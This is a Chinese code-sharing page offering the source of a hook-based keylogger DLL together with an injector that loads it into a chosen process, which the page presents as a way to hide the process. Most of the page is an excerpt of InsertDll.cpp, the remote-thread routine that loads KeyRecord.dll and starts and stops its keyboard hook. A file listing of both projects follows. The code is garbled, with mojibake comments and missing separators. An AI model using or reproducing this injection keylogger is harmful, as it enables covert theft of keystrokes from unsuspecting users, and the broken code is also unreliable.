資源簡介
本資源分為兩部分,其一是基于HOOK的是先鍵盤記錄功能的DLL文件源代碼;其二是將上述DLL注入指定進程的源代碼.相關文檔請在百度中搜索“遠程注入DLL實現進程隱藏以及鍵盤記錄器”查詢

代碼片段和文件信息
//?InsertDll.cpp?:?僐儞僜乕儖?傾僾儕働乕僔儑儞偺僄儞僩儕?億僀儞僩傪掕媊偟傑偡丅
//
#include?“stdafx.h“
#include?
#include?
#include?
#include?
#define?INDLL ?0
#define?OUTDLL ?1
#define?DLLNAME “c:\\KeyRecord.dll“
#define?DLLNAME_EX “KeyRecord“
#define?FUN_START_HOOK “StartHook“
#define?FUN_STOP_HOOK “StopHook“
typedef?struct
{
PTHREAD_START_ROUTINE?fnMessageBox;
PTHREAD_START_ROUTINE?fnLoadLibrary;
PTHREAD_START_ROUTINE?fnFreeLibrary;
PTHREAD_START_ROUTINE?fnGetProcAddress;
PTHREAD_START_ROUTINE?fnGetModuleHandle;
PTHREAD_START_ROUTINE?fnStartHook;
PTHREAD_START_ROUTINE?fnSleep;
int ?LoadOrFree;
char?MyDllName[32]; /*?“c:\\KeyRecord.dll“?*/
char?MyDllNameEx[32]; /*?“KeyRecord“?*/
char?FUN_StartHook[32]; /*?“StartHook“?*/
char?FUN_StopHook[32]; /*?“StopKook“?*/
}RemotePara;
int?EnableDebugPriv(const?char?*?name);
DWORD?FindTarget(?LPCTSTR?lpszProcess);
BOOL?InOrOutDll(const?char?*DllFullPath?const?DWORD?dwRemoteProcessIdconst?int?IOFlg);
DWORD?__stdcall?ThreadProc(RemotePara?*?lpPara)
{
typedef?HMODULE?(__stdcall?*M_LoadLibrary)(LPCTSTR);
typedef?int?(__stdcall?*M_FreeLibrary)(HMODULE);
typedef?HANDLE?(__stdcall?*M_GetProcAddress)(HMODULELPCSTR);
typedef?HMODULE?(__stdcall?*M_GetModuleHandle)(LPCTSTR);
typedef?int?(__stdcall?*M_StartHook)();
typedef?int?(__stdcall?*M_StoptHook)();
typedef?int?(__stdcall?*M_MessageBox)(HWNDLPCTSTRLPCTSTRDWORD);
typedef?int?(__stdcall?*M_Sleep)(int);
M_LoadLibrary MyLoadLibrary;
M_FreeLibrary MyFreeLibrary;
M_GetProcAddress MyGetProcAddress;
M_GetModuleHandle MyGetModuleHandle;
M_StartHook MyStartHook;
M_StoptHook MyStopHook;
M_MessageBox MyMessageBox;
M_Sleep MySleep;
MyLoadLibrary = (M_LoadLibrary)lpPara->fnLoadLibrary;
MyFreeLibrary = (M_FreeLibrary)lpPara->fnFreeLibrary;
MyGetProcAddress?=?(M_GetProcAddress)lpPara->fnGetProcAddress;
MyGetModuleHandle?=?(M_GetModuleHandle)lpPara->fnGetModuleHandle;
MyMessageBox =?(M_MessageBox)lpPara->fnMessageBox;
MySleep = (M_Sleep)lpPara->fnSleep;
if(!lpPara->LoadOrFree)
{
if(MyLoadLibrary(lpPara->MyDllName)==NULL)
{
MyMessageBox(NULLlpPara->MyDllNamelpPara->MyDllName0);
return?0;
}
MyStartHook?=?(M_StartHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx)lpPara->FUN_StartHook);
if(MyStartHook?==?NULL)
{
MyMessageBox(NULLlpPara->FUN_StartHooklpPara->FUN_StartHook0);
return?0;
}
if(MyStartHook())
{
MyMessageBox(NULLlpPara->FUN_StartHooklpPara->FUN_StartHook0);
}
MySleep(100000000);
}
else
{
MyStopHook?=?(M_StoptHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx)lpPara->FUN_StopHook);
if(MyStopHook?==?NULL)
{
MyMessageBox(NULLlpPara->FUN_StopHooklpPara->FUN_StopHook0);
return?0;
}
STOP:
if(!MyStopHook())
{
MySleep(1000);
goto?STOP;
}
if(!MyFreeLibrary(MyGetModuleHandle(lpPara->MyDllNameEx)))
{
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2011-01-20?14:15??KeyRecord\KeyRecord\
?????目錄???????????0??2011-01-20?14:15??KeyRecord\KeyRecord\Debug\
?????文件????????5467??2011-01-17?16:57??KeyRecord\KeyRecord\KeyRecord.cpp
?????文件??????????59??2011-01-14?16:28??KeyRecord\KeyRecord\KeyRecord.def
?????文件?????????207??2011-01-14?16:45??KeyRecord\KeyRecord\KeyRecord.h
?????文件????????4213??2010-12-28?10:32??KeyRecord\KeyRecord\KeyRecord.vcproj
?????文件????????1852??2010-12-22?13:44??KeyRecord\KeyRecord\ReadMe.txt
?????目錄???????????0??2011-01-20?14:15??KeyRecord\KeyRecord\Release\
?????文件?????????297??2010-12-22?13:44??KeyRecord\KeyRecord\stdafx.cpp
?????文件?????????421??2010-12-22?13:44??KeyRecord\KeyRecord\stdafx.h
?????文件?????4598784??2011-01-17?18:01??KeyRecord\KeyRecord.ncb
?????文件?????????917??2010-12-22?13:44??KeyRecord\KeyRecord.sln
?????文件???????12288??2011-01-17?18:01??KeyRecord\KeyRecord.suo
?????目錄???????????0??2011-01-20?14:15??KeyRecord\
?????目錄???????????0??2011-01-20?14:15??InsertDll\InsertDll\
?????目錄???????????0??2011-01-20?14:15??InsertDll\InsertDll\Debug\
?????文件????????8565??2011-01-17?17:53??InsertDll\InsertDll\InsertDll.cpp
?????文件????????3871??2010-12-20?19:09??InsertDll\InsertDll\InsertDll.vcproj
?????文件????????1377??2010-12-20?19:09??InsertDll\InsertDll\ReadMe.txt
?????目錄???????????0??2011-01-20?14:15??InsertDll\InsertDll\Release\
?????文件?????????297??2010-12-20?19:09??InsertDll\InsertDll\stdafx.cpp
?????文件?????????320??2010-12-20?19:09??InsertDll\InsertDll\stdafx.h
?????文件?????4647936??2011-01-17?18:01??InsertDll\InsertDll.ncb
?????文件?????????917??2010-12-20?19:09??InsertDll\InsertDll.sln
?????文件???????11264??2011-01-17?18:01??InsertDll\InsertDll.suo
?????目錄???????????0??2011-01-20?14:15??InsertDll\
- 上一篇:液壓氣動圖形符號庫
- 下一篇:STM32 驅動SD卡 SPI協議
評論
共有 條評論